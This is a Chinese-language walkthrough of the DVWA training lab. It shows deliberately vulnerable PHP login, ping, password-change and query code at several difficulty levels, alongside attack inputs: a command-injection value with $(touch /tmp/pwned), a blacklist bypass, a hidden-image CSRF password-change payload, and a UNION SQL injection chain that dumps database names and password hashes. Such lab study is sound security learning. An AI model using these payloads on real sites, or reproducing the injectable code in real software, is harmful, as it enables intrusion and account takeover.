// Get username$user=$_GET['username'];
这里对于输入输出没有做一定的过滤和数据清洗,可以使用万能密码进行登录
// Get password$pass=$_GET['password'];$pass=md5($pass);// Check the database$query="SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');if($result&&mysqli_num_rows($result)==1){// Get users details$row=mysqli_fetch_assoc($result);$avatar=$row["avatar"];// Login successfulecho"<p>Welcome to the password protected area {$user}</p>";echo"<img src=\"{$avatar}\" />";}
2. 看看中等级别的medium:
//处理输入:首先是检查了数据库连接,然后对输入的内容进行了字符转义(字符前加了反斜杠),这样就可以有效防止数据库注入// Sanitise username input$user=$_GET['username'];$user=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$user):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));// Sanitise password input$pass=$_GET['password'];$pass=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));$pass=md5($pass);// Check the database$query="SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');//登录失败:延迟两秒可以减缓攻击频率,有效防止攻击// Login failedsleep(2);echo"<pre><br />Username and/or password incorrect.</pre>";
<?phpif(isset($_POST['Login'])&&isset($_POST['username'])&&isset($_POST['password'])){// Check Anti-CSRF tokencheckToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');//同样使用了token技术,来防止不合法的访问// Sanitise username input$user=$_POST['username'];$user=stripslashes($user);$user=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$user):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));// Sanitise password input$pass=$_POST['password'];$pass=stripslashes($pass);$pass=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));$pass=md5($pass);//净化了输入,将移除反斜杠// Default values$total_failed_login=3;$lockout_time=15;$account_locked=false;//为登录失败设置锁定时间.// Check the database (Check user information)$data=$db->prepare('SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;');$data->bindParam(':user',$user,PDO::PARAM_STR);$data->execute();$row=$data->fetch();//使用PDO预编译机制,可以有效防止sql注入// Check to see if the user has been locked out.if(($data->rowCount()==1)&&($row['failed_login']>=$total_failed_login)){// User locked out. Note, using this method would allow for user enumeration!//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";//超时会锁定时间,以下是计算锁定时间的逻辑// Calculate when the user would be allowed to login again$last_login=strtotime($row['last_login']);$timeout=$last_login+($lockout_time*60);$timenow=time();/*print "The last login was: " . date ("h:i:s", $last_login) . "<br />";print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";*/// Check to see if enough time has passed, if it hasn't locked the accountif($timenow<$timeout){$account_locked=true;// print "The account is locked<br />";}}// Check the database (if username matches the password)$data=$db->prepare('SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;');$data->bindParam(':user',$user,PDO::PARAM_STR);$data->bindParam(':password',$pass,PDO::PARAM_STR);$data->execute();$row=$data->fetch();// If its a valid login...if(($data->rowCount()==1)&&($account_locked==false)){// Get users details$avatar=$row['avatar'];$failed_login=$row['failed_login'];$last_login=$row['last_login'];// Login successfulecho"<p>Welcome to the password protected area <em>{$user}</em></p>";echo"<img src=\"{$avatar}\" />";// Had the account been locked out since last login?if($failed_login>=$total_failed_login){echo"<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";echo"<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>{$last_login}</em>.</p>";}// Reset bad login count$data=$db->prepare('UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;');$data->bindParam(':user',$user,PDO::PARAM_STR);$data->execute();}else{// Login failedsleep(rand(2,4));// Give the user some feedbackecho"<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";//统一报错信息,无法根据回显的不同来判断用户的有无// Update bad login count$data=$db->prepare('UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;');$data->bindParam(':user',$user,PDO::PARAM_STR);$data->execute();}// Set the last login time$data=$db->prepare('UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;');$data->bindParam(':user',$user,PDO::PARAM_STR);$data->execute();}// Generate Anti-CSRF tokengenerateSessionToken();?>
if(isset($_POST['Submit'])){// Get input$target=$_REQUEST['ip'];// Determine OS and execute the ping command.if(stristr(php_uname('s'),'Windows NT')){// Windows$cmd=shell_exec('ping '.$target);//直接对命令进行拼接,无过滤}else{// *nix$cmd=shell_exec('ping -c 4 '.$target);}// Feedback for the end userecho"<pre>{$cmd}</pre>";}
2. medium:看看源码:
// Set blacklist$substitutions=array('&&'=>'',';'=>'',);//利用了黑名单将分号和&&过滤,可以使用|或||进行绕过// Remove any of the characters in the array (blacklist).$target=str_replace(array_keys($substitutions),$substitutions,$target);
3. high:看看源码:
//将几种核心的绕过方法都进行绕过// Set blacklist$substitutions=array('||'=>'','&'=>'',';'=>'','| '=>'',//这里转换的是|加一个空格,所以使用|是可以的'-'=>'','$'=>'','('=>'',')'=>'',//在linux下可以使用 将括号中的命令结果替换到原位置127.0.0.1$(touch /tmp/pwned)# 创建文件/tmp/pwned'`'=>'',);// Remove any of the characters in the array (blacklist).$target=str_replace(array_keys($substitutions),$substitutions,$target);
4. impossible:看看源码:
// Get input$target=$_REQUEST['ip'];$target=stripslashes($target);//这里会移除所有的反斜杠// Split the IP into 4 octects$octet=explode(".",$target);//将输入的内容分成了4个部分,确保每一部分是数字,这样就极大的减小了命令注入的风险// Check IF each octet is an integerif((is_numeric($octet[0]))&&(is_numeric($octet[1]))&&(is_numeric($octet[2]))&&(is_numeric($octet[3]))&&(sizeof($octet)==4)){// If all 4 octets are int's put the IP back together.$target=$octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];// Determine OS and execute the ping command.if(stristr(php_uname('s'),'Windows NT')){// Windows$cmd=shell_exec('ping '.$target);
<?phpif(isset($_GET['Change'])){// Get input$pass_new=$_GET['password_new'];$pass_conf=$_GET['password_conf'];//得到两个密码的输入// Do the passwords match?// 两个密码输入的一样的话就可以将新的密码插入到数据库中,成功更改密码if($pass_new==$pass_conf){// They do!$pass_new=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));$pass_new=md5($pass_new);// Update the database$current_user=dvwaCurrentUser();$insert="UPDATE `users` SET password = '$pass_new' WHERE user = '".$current_user."';";$result=mysqli_query($GLOBALS["___mysqli_ston"],$insert)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');//如果两个密码输入的匹配的话,就更新当前用户密码// Feedback for the userecho"<pre>Password Changed.</pre>";}else{// Issue with passwords matchingecho"<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"])))?false:$___mysqli_res);}?>
//stripos(str1, str2)检查str2在str1中出现的位置(不区分大小写),如果有返//回True,反之False//判断Host字段是否出现在referer字段中if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!==false){// Get input$pass_new=$_GET['password_new'];$pass_conf=$_GET['password_conf'];这些是比low级别多的一些内容,主要是增加了对于referer的检验,为了绕过,我们必须要在referer字段里面增加当前的站名
于是绕过方法如下,<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>
low:看看源码:这里是将id直接拼接到sql语句中没有对其做进一步的处理:于是就采用最常见的方法进行注入:判断注入方式:1'发现报错,检测回显字段数量:-1' order by 3#那就是2个字段查看所遇数据库名:-1' union select 1,group_concat(schema_name) from information_schema.schemata;#当前数据库:-1' union select 1,database();#数据库下的表:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa';#对应表的字段:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users';#具体字段值:-1' union select 1,group_concat(password) from dvwa.users;#
high:看看源码:相比于中级难度,这里多了一个llimit 1,作用是每次只显示一行查询结果,这里如果使用上一题的做法晚完全可以,-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273;#那么这一题的作用何在呢?这一题实际上是为了防止使用自动化工具